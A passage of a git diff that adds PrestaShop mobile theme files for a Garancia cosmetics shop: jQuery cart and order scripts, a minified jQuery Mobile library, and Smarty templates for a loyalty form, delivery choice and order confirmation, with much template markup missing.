$("#grouped_buttons_card_"+this.id_product+"_totsheet").html((price).toFixed(2)); + }); + + $("#cart_total_products").html(data.summary.total_products_wt); + $("#cart_total_price").html(data.summary.total_price); + } + } +})(); diff --git a/themes/default/_mobile/js/global.js b/themes/default/_mobile/js/global.js new file mode 100755 index 0000000..5211155 --- /dev/null +++ b/themes/default/_mobile/js/global.js @@ -0,0 +1,62 @@ +$(document).ready(function(){ + + $(document).on('touchstart click', '.delivery_options_address .ui-radio', function(e){ + if($(this).children('.delivery_option_radio').val() == "61,"){ + PS_MRObject.initFront(); + } + }); +}); +// Allows to set the same height on ui-block element +// for #category-list items. +$( '.prestashop-page' ).live( 'pageshow',function(event) +{ + if ($('.ui-grid-a.same-height').length) + { + $('.ui-grid-a.same-height .ui-block-a').each(function() + { + if ($(this).height() != $(this).next('.ui-block-b').height()) + { + var height1 = $(this).height(); + var height2 = $(this).next('.ui-block-b').height(); + if (height1 < height2) { + $(this).height(height2).find('.ui-btn-inner.ui-li').height(height2); + if ($(this).find('.ui-bar').length) { + var less_h = [ + parseInt($(this).find('.ui-bar').css('padding-top')), + parseInt($(this).find('.ui-bar').css('padding-bottom')), + parseInt($(this).find('.ui-bar').css('border-top-width')), + parseInt($(this).find('.ui-bar').css('border-bottom-width')) + ]; + $(this).find('.ui-bar').height(height2-less_h[0]-less_h[1]-less_h[2]-less_h[3]); + } + } else { + $(this).next('.ui-block-b').height(height1).find('.ui-btn-inner.ui-li').height(height1); + } + } + }); + } +}); + +$( '.prestashop-page' ).live( 'pageinit',function(event) +{ + if ($('.wrapper_pagination_mobile').length) + { + $('.wrapper_pagination_mobile').find('.disabled').live('click', function(e) + { + e.preventDefault(); + return false; + }); + } +}); +// $(document).ready(function(){ + // $('.thickbox').fancybox({ + // 'hideOnContentClick': true, + // 'transitionIn' : 'elastic', + // 'transitionOut' : 'elastic' + // }); + // $('.thickbox2').fancybox({ + // 'hideOnContentClick': false, + // 'transitionIn' : 'elastic', + // 'transitionOut' : 'elastic' + // }); +// }); diff --git a/themes/default/_mobile/js/history.js b/themes/default/_mobile/js/history.js new file mode 100755 index 0000000..088deee --- /dev/null +++ b/themes/default/_mobile/js/history.js @@ -0,0 +1,124 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +//show the order-details with ajax +function showOrder(mode, var_content, file) +{ + /*$.get( + file, + ((mode == 1) ? {'id_order': var_content, 'ajax': true} : {'id_order_return': var_content, 'ajax': true}), + function(data) + { + $('#block-order-detail').fadeOut('slow', function() + { + $(this).html(data); + // if return is allowed + if ($('div#order-detail-content table td.order_cb').length > 0) + { + //return slip : check or uncheck every checkboxes + $('form div#order-detail-content th input[type=checkbox]').click(function() + { + $('form div#order-detail-content td input[type=checkbox]').each(function() + { + this.checked = $('form div#order-detail-content th input[type=checkbox]').is(':checked'); + updateOrderLineDisplay(this); + }); + }); + //return slip : enable or disable 'global' quantity editing + $('form div#order-detail-content td input[type=checkbox]').click(function() + { + updateOrderLineDisplay(this); + }); + //return slip : limit quantities + $('form div#order-detail-content td input.order_qte_input').keyup(function() + { + var maxQuantity = parseInt($(this).parent().find('span.order_qte_span').text()); + var quantity = parseInt($(this).val()); + if (isNaN($(this).val()) && $(this).val() != '') + { + $(this).val(maxQuantity); + } + else + { + if (quantity > maxQuantity) + $(this).val(maxQuantity); + else if (quantity < 1) + $(this).val(1); + } + }); + } + //catch the submit event of sendOrderMessage form + $('form#sendOrderMessage').submit(function(){ + return sendOrderMessage(); + }); + $(this).fadeIn('slow'); + $('html, body').animate({scrollTop: $(this).offset().top},'slow'); + // $.scrollTo(this, 1200); + }); + });*/ +} + +function updateOrderLineDisplay(domCheckbox) +{ + var lineQuantitySpan = $(domCheckbox).parent().parent().find('span.order_qte_span'); + var lineQuantityInput = $(domCheckbox).parent().parent().find('input.order_qte_input'); + if($(domCheckbox).is(':checked')) + { + lineQuantitySpan.hide(); + lineQuantityInput.show(); + } + else + { + lineQuantityInput.hide(); + lineQuantityInput.val(lineQuantitySpan.text()); + lineQuantitySpan.show(); + } +} + +//send a message in relation to the order with ajax +function sendOrderMessage () +{ + paramString = "ajax=true"; + $('form#sendOrderMessage').find('input, textarea').each(function(){ + paramString += '&' + $(this).attr('name') + '=' + encodeURI($(this).val()); + }); + $.ajax({ + type: "POST", + headers: { "cache-control": "no-cache" }, + url: baseDir + "index.php?controller=order-detail" + '&rand=' + new Date().getTime(), + data: paramString, + success: function (msg){ + $('#block-order-detail').fadeOut('slow', function() { + $(this).html(msg); + //catch the submit event of sendOrderMessage form + $('form#sendOrderMessage').submit(function(){ + return sendOrderMessage(); + }); + $(this).fadeIn('slow'); + }); + } + }); + return false; +} diff --git a/themes/default/_mobile/js/index.php b/themes/default/_mobile/js/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/_mobile/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/_mobile/js/jqm-docs.js b/themes/default/_mobile/js/jqm-docs.js new file mode 100755 index 0000000..0e68ddb --- /dev/null +++ b/themes/default/_mobile/js/jqm-docs.js @@ -0,0 +1,53 @@ +//set up the theme switcher on the homepage +$('div').live('pagecreate',function(event) +{ + if ( !$(this).is('.ui-dialog')) + { + var appendEl = $(this).find('.ui-footer:last'); + if ( !appendEl.length ) { + appendEl = $(this).find('.ui-content'); + } + if( appendEl.is("[data-position]") ) { + return; + } + /*$('Switch theme') + .buttonMarkup({ + 'icon':'gear', + 'inline': true, + 'shadow': false, + 'theme': 'd' + }) + .appendTo( appendEl ) + .wrap('
        ') + .bind( "vclick", function(){ + $.themeswitcher(); + });*/ + } +}); + +//collapse page navs after use +$(function() +{ + $('body').delegate('.content-secondary .ui-collapsible-content', 'click', function() { + $(this).trigger("collapse") + }); +}); + +function setDefaultTransition() +{ + var winwidth = $( window ).width(), + trans ="slide"; + if( winwidth >= 1000 ){ + trans = "none"; + } + else if( winwidth >= 650 ){ + trans = "fade"; + } + $.mobile.defaultPageTransition = trans; +} + +$(function() +{ + setDefaultTransition(); + $( window ).bind( "throttledresize", setDefaultTransition ); +}); \ No newline at end of file diff --git a/themes/default/_mobile/js/jquery.mobile-1.3.0.min-save.js b/themes/default/_mobile/js/jquery.mobile-1.3.0.min-save.js new file mode 100755 index 0000000..8d12031 --- /dev/null +++ b/themes/default/_mobile/js/jquery.mobile-1.3.0.min-save.js @@ -0,0 +1,2 @@ +/*! jQuery Mobile vGit Build: SHA1: 3d48d6517f808550ee402a2859feedec13b0a3fe <> Date: Tue Feb 19 15:25:22 2013 -0800 jquerymobile.com | jquery.org/license !*/ +(function(a,b,c){typeof define=="function"&&define.amd?define(["jquery"],function(d){return c(d,a,b),d.mobile}):c(a.jQuery,a,b)})(this,document,function(a,b,c,d){(function(a){a.mobile={}})(a),function(a,b,d){var e={};a.mobile=a.extend(a.mobile,{version:"1.3.0",ns:"",subPageUrlKey:"ui-page",activePageClass:"ui-page-active",activeBtnClass:"ui-btn-active",focusClass:"ui-focus",ajaxEnabled:!0,hashListeningEnabled:!0,linkBindingEnabled:!0,defaultPageTransition:"fade",maxTransitionWidth:!1,minScrollBack:250,touchOverflowEnabled:!1,defaultDialogTransition:"pop",pageLoadErrorMessage:"Error Loading Page",pageLoadErrorMessageTheme:"e",phonegapNavigationEnabled:!1,autoInitializePage:!0,pushStateEnabled:!0,ignoreContentEnabled:!1,orientationChangeEnabled:!0,buttonMarkup:{hoverDelay:200},window:a(b),document:a(c),keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91},behaviors:{},silentScroll:function(c){a.type(c)!=="number"&&(c=a.mobile.defaultHomeScroll),a.event.special.scrollstart.enabled=!1,setTimeout(function(){b.scrollTo(0,c),a.mobile.document.trigger("silentscroll",{x:0,y:c})},20),setTimeout(function(){a.event.special.scrollstart.enabled=!0},150)},nsNormalizeDict:e,nsNormalize:function(b){if(!b)return;return e[b]||(e[b]=a.camelCase(a.mobile.ns+b))},getInheritedTheme:function(a,b){var c=a[0],d="",e=/ui-(bar|body|overlay)-([a-z])\b/,f,g;while(c){f=c.className||"";if(f&&(g=e.exec(f))&&(d=g[2]))break;c=c.parentNode}return d||b||"a"},closestPageData:function(a){return a.closest(':jqmData(role="page"), :jqmData(role="dialog")').data("mobile-page")},enhanceable:function(a){return this.haveParents(a,"enhance")},hijackable:function(a){return this.haveParents(a,"ajax")},haveParents:function(b,c){if(!a.mobile.ignoreContentEnabled)return b;var d=b.length,e=a(),f,g,h;for(var i=0;i").text(a(this).text()).html()},a.fn.jqmEnhanceable=function(){return a.mobile.enhanceable(this)},a.fn.jqmHijackable=function(){return a.mobile.hijackable(this)};var f=a.find,g=/:jqmData\(([^)]*)\)/g;a.find=function(b,c,d,e){return b=b.replace(g,"[data-"+(a.mobile.ns||"")+"$1]"),f.call(this,b,c,d,e)},a.extend(a.find,f),a.find.matches=function(b,c){return a.find(b,null,null,c)},a.find.matchesSelector=function(b,c){return a.find(c,null,null,[b]).length>0}}(a,this),function(a,b){var c=0,d=Array.prototype.slice,e=a.cleanData;a.cleanData=function(b){for(var c=0,d;(d=b[c])!=null;c++)try{a(d).triggerHandler("remove")}catch(f){}e(b)},a.widget=function(b,c,d){var e,f,g,h,i=b.split(".")[0];b=b.split(".")[1],e=i+"-"+b,d||(d=c,c=a.Widget),a.expr[":"][e.toLowerCase()]=function(b){return!!a.data(b,e)},a[i]=a[i]||{},f=a[i][b],g=a[i][b]=function(a,b){if(!this._createWidget)return new g(a,b);arguments.length&&this._createWidget(a,b)},a.extend(g,f,{version:d.version,_proto:a.extend({},d),_childConstructors:[]}),h=new c,h.options=a.widget.extend({},h.options),a.each(d,function(b,e){a.isFunction(e)&&(d[b]=function(){var a=function(){return c.prototype[b].apply(this,arguments)},d=function(a){return c.prototype[b].apply(this,a)};return function(){var b=this._super,c=this._superApply,f;return this._super=a,this._superApply=d,f=e.apply(this,arguments),this._super=b,this._superApply=c,f}}())}),g.prototype=a.widget.extend(h,{widgetEventPrefix:f?h.widgetEventPrefix:b},d,{constructor:g,namespace:i,widgetName:b,widgetFullName:e}),f?(a.each(f._childConstructors,function(b,c){var d=c.prototype;a.widget(d.namespace+"."+d.widgetName,g,c._proto)}),delete f._childConstructors):c._childConstructors.push(g),a.widget.bridge(b,g)},a.widget.extend=function(c){var e=d.call(arguments,1),f=0,g=e.length,h,i;for(;f",options:{disabled:!1,create:null},_createWidget:function(b,d){d=a(d||this.defaultElement||this)[0],this.element=a(d),this.uuid=c++,this.eventNamespace="."+this.widgetName+this.uuid,this.options=a.widget.extend({},this.options,this._getCreateOptions(),b),this.bindings=a(),this.hoverable=a(),this.focusable=a(),d!==this&&(a.data(d,this.widgetFullName,this),this._on(!0,this.element,{remove:function(a){a.target===d&&this.destroy()}}),this.document=a(d.style?d.ownerDocument:d.document||d),this.window=a(this.document[0].defaultView||this.document[0].parentWindow)),this._create(),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:a.noop,_getCreateEventData:a.noop,_create:a.noop,_init:a.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetName).removeData(this.widgetFullName).removeData(a.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled "+"ui-state-disabled"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")},_destroy:a.noop,widget:function(){return this.element},option:function(c,d){var e=c,f,g,h;if(arguments.length===0)return a.widget.extend({},this.options);if(typeof c=="string"){e={},f=c.split("."),c=f.shift();if(f.length){g=e[c]=a.widget.extend({},this.options[c]);for(h=0;h"+""+"

        "+"
        ",fakeFixLoader:function(){var b=a("."+a.mobile.activeBtnClass).first();this.element.css({top:a.support.scrollTop&&f.scrollTop()+f.height()/2||b.length&&b.offset().top||100})},checkLoaderPosition:function(){var b=this.element.offset(),c=f.scrollTop(),d=a.mobile.getScreenHeight();if(b.topd)this.element.addClass("ui-loader-fakefix"),this.fakeFixLoader(),f.unbind("scroll",this.checkLoaderPosition).bind("scroll",a.proxy(this.fakeFixLoader,this))},resetHtml:function(){this.element.html(a(this.defaultHtml).html())},show:function(b,g,h){var i,j,k,l;this.resetHtml(),a.type(b)==="object"?(l=a.extend({},this.options,b),b=l.theme||a.mobile.loadingMessageTheme):(l=this.options,b=b||a.mobile.loadingMessageTheme||l.theme),j=g||a.mobile.loadingMessage||l.text,e.addClass("ui-loading");if(a.mobile.loadingMessage!==!1||l.html)a.mobile.loadingMessageTextVisible!==d?i=a.mobile.loadingMessageTextVisible:i=l.textVisible,this.element.attr("class",c+" ui-corner-all ui-body-"+b+" ui-loader-"+(i||g||b.text?"verbose":"default")+(l.textonly||h?" ui-loader-textonly":"")),l.html?this.element.html(l.html):this.element.find("h1").text(j),this.element.appendTo(a.mobile.pageContainer),this.checkLoaderPosition(),f.bind("scroll",a.proxy(this.checkLoaderPosition,this))},hide:function(){e.removeClass("ui-loading"),a.mobile.loadingMessage&&this.element.removeClass("ui-loader-fakefix"),a.mobile.window.unbind("scroll",this.fakeFixLoader),a.mobile.window.unbind("scroll",this.checkLoaderPosition)}}),f.bind("pagecontainercreate",function(){a.mobile.loaderWidget=a.mobile.loaderWidget||a(a.mobile.loader.prototype.defaultHtml).loader()})}(a,this),function(a,b,d){function k(a){return a=a||location.href,"#"+a.replace(/^[^#]*#?(.*)$/,"$1")}var e="hashchange",f=c,g,h=a.event.special,i=f.documentMode,j="on"+e in b&&(i===d||i>7);a.fn[e]=function(a){return a?this.bind(e,a):this.trigger(e)},a.fn[e].delay=50,h[e]=a.extend(h[e],{setup:function(){if(j)return!1;a(g.start)},teardown:function(){if(j)return!1;a(g.stop)}}),g=function(){function n(){var c=k(),d=m(h);c!==h?(l(h=c,d),a(b).trigger(e)):d!==h&&(location.href=location.href.replace(/#.*/,"")+d),g=setTimeout(n,a.fn[e].delay)}var c={},g,h=k(),i=function(a){return a},l=i,m=i;return c.start=function(){g||n()},c.stop=function(){g&&clearTimeout(g),g=d},b.attachEvent&&!b.addEventListener&&!j&&function(){var b,d;c.start=function(){b||(d=a.fn[e].src,d=d&&d+k(),b=a('*} +
        + {/foreach} + {/if} +

         

        +

        {l s='5 produits achetés = 1 produit Offert* au choix'}

        +

        {l s='Pour profiter de notre avantage fidélité, il vous suffit de nous envoyer à :'} +
        {l s='GARANCIA, Offre Fidélité, 18 Avenue du Recteur Poincaré, 75016 PARIS'}

        +

        {l s='- Vos coordonnées en complétant le formulaire ci-dessous'} {l s='ou en indiquant ces informations au stylo à bille noir et en majuscule sur papier libre :'}

        +
        + +
        +
        +
        + + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + + +
        +
        + +
        +
        + {* + {l s='January'} + {l s='February'} + {l s='March'} + {l s='April'} + {l s='May'} + {l s='June'} + {l s='July'} + {l s='August'} + {l s='September'} + {l s='October'} + {l s='November'} + {l s='December'} + *} +
        + +
        +
        + +
        +
        +
        + + +
        +
        + + +
        +

        {l s='- Cochez votre indice de satisfaction sur les produits que vous avez testés :'} +
        {l s='1 = Très satisfaite, 2 = Satisfaite, 3 = Assez satisfaite,'}
        {l s='4 = Pas du tout satisfaite'}

        +
        + {if $generationProduits|@count>0} +
        + {assign var=id_category_default value=false} + + + {foreach from=$generationProduits item=produit} + {if $id_category_default!=$produit.id_category_default} + {assign var=id_category_default value=$produit.id_category_default} + + + + {/if} + + + + + + + + {/foreach} + +
        + {$produit.categoryName} : +
        {$produit.name}
        + +
        + {/if} + +
        +

        {l s='-Les 5 codes-barres originaux :'} {l s='Découpez les fonds d\'étui ou directement les tubes (pour les produits sans étui).'}

        +

        {l s='-Un chèque bancaire de 8,50 €'} {l s='à l\'ordre du'} {l s='Laboratoire Garancia'} {l s='correspondant à la participation aux frais d\'envoi et de traitement.'}

        +

        {l s='Vous recevrez sous environs 8 semaines votre produit offert.'} +
        {l s='Tout dossier incomplet ou illisible ne sera pas traité.'}

        + + +
        * {l s='Offre valable uniquement en France métropolitaine, Monaco et Corse'} +
        ** {l s='Assurer un meilleur suivi de votre dossier'} +
        *** {l s='Dans la limite des stocks disponibles. En cas de rupture de stock, Garancia se réserve le droit de vous adresser un autre produit.'} +

        {l s='Conformément à la loi informatique et libertés du 06/01/78, le consommateur a un droit d\'accès et de rectification sur les données le concernant en écrivant au Service Clients GARANCIA, 18 Avenue du Recteur Pointcaré, 75016 Paris.'} +
          +
        +
        +
        +
        + + + +
        diff --git a/themes/default/_mobile/order-address.tpl b/themes/default/_mobile/order-address.tpl new file mode 100755 index 0000000..70fb151 --- /dev/null +++ b/themes/default/_mobile/order-address.tpl @@ -0,0 +1,352 @@ + + +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $opc} + {assign var="back_order_page" value="order-opc.php"} +{else} + {assign var="back_order_page" value="order.php"} +{/if} + +{* +** Retro compatibility for PrestaShop version < 1.4.2.5 with a recent theme +** Syntax smarty for v2 +*} + +{* Will be deleted for 1.5 version and more *} +{if !isset($formatedAddressFieldsValuesList)} + {$ignoreList.0 = "id_address"} + {$ignoreList.1 = "id_country"} + {$ignoreList.2 = "id_state"} + {$ignoreList.3 = "id_customer"} + {$ignoreList.4 = "id_manufacturer"} + {$ignoreList.5 = "id_supplier"} + {$ignoreList.6 = "date_add"} + {$ignoreList.7 = "date_upd"} + {$ignoreList.8 = "active"} + {$ignoreList.9 = "deleted"} + + {* PrestaShop 1.4.0.17 compatibility *} + {if isset($addresses)} + {foreach from=$addresses key=k item=address} + {counter start=0 skip=1 assign=address_key_number} + {$id_address = $address.id_address} + {foreach from=$address key=address_key item=address_content} + {if !in_array($address_key, $ignoreList)} + {$formatedAddressFieldsValuesList.$id_address.ordered_fields.$address_key_number = $address_key} + {$formatedAddressFieldsValuesList.$id_address.formated_fields_values.$address_key = $address_content} + {counter} + {/if} + {/foreach} + {/foreach} + {/if} +{/if} + + + + {capture name=path}{l s='Ma livraison'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        +
        +

        [{l s='Ma livraison'}]

        + {assign var="current_step" value="shipping"} + {include file="$tpl_dir./order-opc-steps.tpl"} +
        +
        +
        + + +
        + +
        + +
        + + + +
        +
        + {include file="./order-carrier-simple-2.tpl"} +
        + {* +


        * {l s='Délai et participation aux frais de livraison pour la France métropolitaine, Corse et Monaco uniquement.'}

        +

        {l s='En savoir plus'}

        + *} +
        + +{if !$opc} + {include file="$tpl_dir./errors.tpl"} + +{else} +
        + +{/if} +
        +

        {l s='Choisissez une adresse de livraison'}

        +
        + +
        + + +
          isVirtualCart()}style="display:none;"{/if}> +
        +
        +

        {l s='Adresse de facturation'}

        +
        +
        + id_address_invoice == $cart->id_address_delivery || $addresses|@count == 1} checked="checked"{/if}/> + +
        +
        + id_address_invoice != $cart->id_address_delivery} checked="checked"{/if}/> + +
        +
        +
        +
        id_address_invoice == $cart->id_address_delivery}style="display: none;"{/if}> + +

        {l s='Choisissez une adresse de livraison'}

        +
        + {if $addresses|@count > 1} + + {else} + {l s='Add a new address'} + {/if} +
        +
        +
        +
          +
        +
        +
        +
        + {if $giftAllowed} +
        +
        +

        {l s='Vous souhaitez faire un cadeau ?'}

        +

        {l s='Personnalisez la carte cadeau qui accompagnera votre colis'}

        +

        + gift == 1 && $total_products_wt>=60}checked="checked"{/if} /> + + {if $gift_wrapping_price > 0} + + {/if} +

        + +

        + +

        +
        +
        + + + {if !$opc} +
        +

        +
        + {/if} + {/if} +
        +
        +{if !$opc} +

         

        +
        + +
        + + +

         

        + +{else} +{/if} + +
        + +
        +
        +
        +
        \ No newline at end of file diff --git a/themes/default/_mobile/order-carrier-simple-2.tpl b/themes/default/_mobile/order-carrier-simple-2.tpl new file mode 100755 index 0000000..ea6392e --- /dev/null +++ b/themes/default/_mobile/order-carrier-simple-2.tpl @@ -0,0 +1,143 @@ +{if !$opc} + +{else} + +{/if} + +{if isset($virtual_cart) && !$virtual_cart && $giftAllowed && $cart->gift == 1} + +{/if} + + +{if !$opc} +
        +{else} +
        +{/if} + + + +
        + +
        + {if isset($carriers) && isset($HOOK_BEFORECARRIER)} + {$HOOK_BEFORECARRIER} + {/if} +
        +
        + {if isset($delivery_option_list)} + {foreach $delivery_option_list as $id_address => $option_list} +
        + {foreach $option_list as $key => $option} +
        +
        + +
        + +
        + {/foreach} +
        +
        {if isset($HOOK_EXTRACARRIER_ADDR) && isset($HOOK_EXTRACARRIER_ADDR.$id_address)}{$HOOK_EXTRACARRIER_ADDR.$id_address}{/if}
        + {foreachelse} +

        + {foreach $cart->getDeliveryAddressesWithoutCarriers(true) as $address} + {if empty($address->alias)} + {l s='No carriers available.'} + {else} + {l s='No carriers available for the address "%s".' sprintf=$address->alias} + {/if} + {if !$address@last} +
        + {/if} + {/foreach} +

        + {/foreach} + {/if} + +
        + + + +
        +
        + +
        diff --git a/themes/default/_mobile/order-carrier-simple.tpl b/themes/default/_mobile/order-carrier-simple.tpl new file mode 100755 index 0000000..343d450 --- /dev/null +++ b/themes/default/_mobile/order-carrier-simple.tpl @@ -0,0 +1,144 @@ +{if !$opc} + +{else} + +{/if} + +{if isset($virtual_cart) && !$virtual_cart && $giftAllowed && $cart->gift == 1} + +{/if} + + +{if !$opc} +
        +{else} +
        +{/if} + + + +
        + +
        + {if isset($carriers) && isset($HOOK_BEFORECARRIER)} + {$HOOK_BEFORECARRIER} + {/if} +
        +
        + {if isset($delivery_option_list)} + {foreach $delivery_option_list as $id_address => $option_list} +
        + {foreach $option_list as $key => $option} +
        +
        + +
        + +
        + {/foreach} +
        +
        {if isset($HOOK_EXTRACARRIER_ADDR) && isset($HOOK_EXTRACARRIER_ADDR.$id_address)}{$HOOK_EXTRACARRIER_ADDR.$id_address}{/if}
        + {foreachelse} +

        + {foreach $cart->getDeliveryAddressesWithoutCarriers(true) as $address} + {if empty($address->alias)} + {l s='No carriers available.'} + {else} + {l s='No carriers available for the address "%s".' sprintf=$address->alias} + {/if} + {if !$address@last} +
        + {/if} + {/foreach} +

        + {/foreach} + {/if} + +
        + + + +
        +
        + +
        diff --git a/themes/default/_mobile/order-carrier.tpl b/themes/default/_mobile/order-carrier.tpl new file mode 100755 index 0000000..c8977a8 --- /dev/null +++ b/themes/default/_mobile/order-carrier.tpl @@ -0,0 +1,251 @@ +{if $opc} + {assign var="back_order_page" value="order-opc.php"} +{else} + {assign var="back_order_page" value="order.php"} +{/if} + +{if !$opc} + +{else} + +{/if} + +{if isset($virtual_cart) && !$virtual_cart && $giftAllowed && $cart->gift == 1} + +{/if} + + +{if isset($empty)} +

        {l s='Your shopping cart is empty.'}

        +{elseif $PS_CATALOG_MODE} +

        {l s='This store has not accepted your new order.'}

        +{else} +
        + {hook h="displayMobileShoppingCartTop"} +
        +
        + {include file="$tpl_dir./errors.tpl"} + +

        {l s='Delivery methods'}

        + {if !$opc} + {assign var='current_step' value='shipping'} + {include file="$tpl_dir./errors.tpl"} + +
        + {else} +
        + + {/if} + + +
        + {if isset($virtual_cart) && $virtual_cart} + + {else} + +
        + {if isset($carriers) && isset($HOOK_BEFORECARRIER)} + {$HOOK_BEFORECARRIER} + {/if} +
        + {if isset($isVirtualCart) && $isVirtualCart} +

        {l s='No carrier is needed for this order.'}

        + {else} + {if $recyclablePackAllowed} +

        + + +

        + {/if} +
        + {if isset($delivery_option_list)} + {foreach $delivery_option_list as $id_address => $option_list} + +
        + {foreach $option_list as $key => $option} +
        + + +
        + {/foreach} +
        +
        {if isset($HOOK_EXTRACARRIER_ADDR) && isset($HOOK_EXTRACARRIER_ADDR.$id_address)}{$HOOK_EXTRACARRIER_ADDR.$id_address}{/if}
        + {foreachelse} +

        + {foreach $cart->getDeliveryAddressesWithoutCarriers(true) as $address} + {if empty($address->alias)} + {l s='No carriers available.'} + {else} + {l s='No carriers available for the address "%s".' sprintf=$address->alias} + {/if} + {if !$address@last} +
        + {/if} + {/foreach} +

        + {/foreach} + {/if} + +
        + + + {if $giftAllowed} +

        {l s='Gift'}

        +

        + gift == 1}checked="checked"{/if} /> + +
        +       + {if $gift_wrapping_price > 0} + ({l s='Additional cost of'} + + {if $priceDisplay == 1}{convertPrice price=$total_wrapping_tax_exc_cost}{else}{convertPrice price=$total_wrapping_cost}{/if} + + {if $use_taxes}{if $priceDisplay == 1} {l s='(tax excl.)'}{else} {l s='(tax incl.)'}{/if}{/if}) + {/if} +

        +

        + + +

        + {/if} + {/if} + {/if} + + {if $conditions AND $cms_id} +

        {l s='Terms of service'}

        +

        + + {l s='(Read the Terms of Service)'} +

        + + {/if} +
        + + + {if !$opc} +
        + + + +
        +
        + + {else} +
        + {/if} +
        +
        + {hook h="displayMobileShoppingCartBottom"} +
        +{/if} \ No newline at end of file diff --git a/themes/default/_mobile/order-confirmation.tpl b/themes/default/_mobile/order-confirmation.tpl new file mode 100755 index 0000000..9388d5c --- /dev/null +++ b/themes/default/_mobile/order-confirmation.tpl @@ -0,0 +1,51 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Order confirmation'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Confirmation'}
        {l s='de votre commande'}]

        +
        +{include file="$tpl_dir./errors.tpl"} + +{$HOOK_ORDER_CONFIRMATION} +{$HOOK_PAYMENT_RETURN} +

        {l s='Toute l\'équipe Garancia vous remercie pour votre confiance'}

        +

        {l s='Vous pouvez suivre l\'avancée de votre commande dans votre espace «Mon compte».'}

        +

        {l s='À très bientôt'}

        +
        +

        + {l s='Mon compte'} +

        +
        +
        +
        +
        +
        + +
        + + + diff --git a/themes/default/_mobile/order-detail-product-li.tpl b/themes/default/_mobile/order-detail-product-li.tpl new file mode 100755 index 0000000..9ba9c2b --- /dev/null +++ b/themes/default/_mobile/order-detail-product-li.tpl @@ -0,0 +1,122 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* > TO CHECK ==========================*} +{*if 